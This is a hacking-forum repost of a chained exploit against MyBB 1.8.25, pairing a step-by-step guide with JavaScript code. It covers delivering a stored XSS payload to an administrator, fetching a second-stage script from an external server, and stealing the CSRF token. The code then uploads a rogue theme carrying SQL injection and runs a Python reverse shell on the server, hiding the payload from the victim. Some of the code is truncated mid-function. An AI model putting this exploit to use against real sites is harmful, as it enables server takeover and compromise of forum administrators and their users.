Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

MyBB 1.8.25 - Chained Remote Command Execution



Recommended Posts

# Exploit Title: MyBB 1.8.25 - Chained Remote Command Execution
# Exploit Author: SivertPL (kroppoloe@protonmail.ch)
# Date: 19.03.2021
# Description: Nested autourl Stored XSS -> templateset second order SQL Injection leading to RCE through improper string interpolation in eval().
# Software Link: https://resources.mybb.com/downloads/mybb_1825.zip
# CVE: CVE-2021-27889, CVE-2021-27890

# Reference: https://portswigger.net/daily-swig/chained-vulnerabilities-used-to-take-control-of-mybb-forums 
# The exploit requires the target administrator to have a valid ACP session.
# Proof of Concept Video: https://www.youtube.com/watch?v=xU1Y9_bgoFQ
# Guide:

1) In order to escape various checks, the XSS has to download this .js file from an external server, and then execute it. 

Please replace the source of the following script node with an URL pointing to the second stage .js file (this file) to be downloaded by the target.

    document.write('<script src=http://localhost:8000/second_stage.js></script>');

2) Please encode the aforementioned JS payload with String.fromCharCode, to achieve constraint-less JavaScript execution environment.

You can use this website: https://eve.gd/2007/05/23/string-fromcharcode-encoder/

3) Put the resulting encoded payload in the nested autourl vulnerability vector:

    [img]http://xyzsomething.com/image?)http://x.com/onerror=<FCC ENCODED PAYLOAD>;//[/img]

4) The final payload should look like this:


5) Send the full vector to the target, either by private message, a post, or any other place where MyCode (BBCode) is supported.
Once the target's browser renders the page, the XSS vulnerability will fire and download & execute the second stage payload from the website specified above, using document.write() to 'bypass' SOP.

After the execution of the payload, you should receive a reverse shell, provided the admin has a valid ACP session.

6) Enjoy your RCE! For educational purposes only. 

const REVERSE_SHELL_IP = "localhost";
const REVERSE_SHELL_PORT = 5554;

const PAYLOAD_XML_NAME = "payload";
const PAYLOAD_XML_VERSION = "1821";

const XML_PROLOG = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";

const SHELL_PAYLOAD = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + REVERSE_SHELL_IP + "\"," + REVERSE_SHELL_PORT + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
const SQL_PAYLOAD = "') AND 1=0 UNION SELECT title, '${passthru(base64_decode(\\'" + btoa(SHELL_PAYLOAD) + "\\'))}' from mybb_templates -- ";

// Trigger the actual vulnerability, force cache reload.
// Stage: Final
function trigger() {
    var request = new XMLHttpRequest();

    request.open('GET', '/index.php');

// Poison the cache.
// Stage: 6
function set_as_default(token, tid) {

    var request = new XMLHttpRequest();

    request.open('GET', '/admin/index.php?module=style-themes&action=set_default&tid=' + tid + '&my_post_key=' + token);

    request.onload = function() { trigger(); };


// Get the TID of the downloaded theme payload
// Stage: 5
function get_payload_tid(token) {
    var request = new XMLHttpRequest();

    request.open('GET', '/admin/index.php?module=style-themes');

    request.responseType = "document";

    request.onload = function() { 
        var response = request.response;

        var aTags = response.getElementsByTagName("a");
        var searchText = "payload";
        var found;

        for (var i = 0; i < aTags.length; i++) {
            if (aTags[i].textContent == searchText) {
                found = aTags[i];

        var href = found.getAttribute("href");

        var urlParams = new URLSearchParams(href);

        var tid = urlParams.get("tid");

        set_as_default(token, tid); 



// We pass the actual request to upload the template exploiting the second link of the exploit chain
// Stage: 4
function upload_template(token) {

    var request = new XMLHttpRequest();

    request.open('POST', '/admin/index.php?module=style-themes&action=import');

    var data = new FormData();

    data.append('my_post_key', token);
    data.append('local_file', build_payload(), PAYLOAD_XML_NAME + ".xml");
    data.append('import', 0);
    data.append('url', '');
    data.append('tid', '1');
    data.append('name', "payload");
    data.append("version_compat", 1);
    data.append("import_stylesheets", 1);
    data.append("import_templates", 1);

    request.onload = function() { 
        // After uploading the template, set it as default to poison the cache


// Build the rogue XML Template exploiting SQL Injection leading to RCE through PHP evaluation.
// Stage: 3
function build_payload() {
    var xmlDom = document.implementation.createDocument("", "", null);
    var theme = xmlDom.createElement("theme");
    theme.setAttribute("name", PAYLOAD_XML_NAME);
    theme.setAttribute("version", PAYLOAD_XML_VERSION);

    var properties = xmlDom.createElement("properties");

    var template_set = xmlDom.createElement("templateset");
    template_set.innerHTML = SQL_PAYLOAD;


    var serialized = new XMLSerializer().serializeToString(xmlDom);

    var result = XML_PROLOG + serialized;
    var file = new File([result], PAYLOAD_XML_NAME);
    return file;

// Acquire the anti-CSRF token 
// Stage: 2
function acquire_token(request) {

    var response = request.response;
    var token = response.getElementsByName("my_post_key")[0].value;

    if(token == null) { 
        /* ACP Session either expired or wasn't established to begin with */

    // We have acquired the anti-CSRF token now.

// ACP Code Execution
// Stage: 1
function exec_acp() {
    var request = new XMLHttpRequest();

    request.open('GET', 'admin/index.php?module=style-themes&action=import');
    request.responseType = "document";

    request.onload = function() { 


// We hide the payload, to raise less suspicions
// Stage: 0
function hide() {

    var getAll = document.querySelectorAll("[src*='http://xyzsomething.com/image?)<a href=']");

    getAll.forEach(element => {
        var pNode = element.parentNode.innerText="lmao whatever you say";

// Entry point of the exploit
function start() {

Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...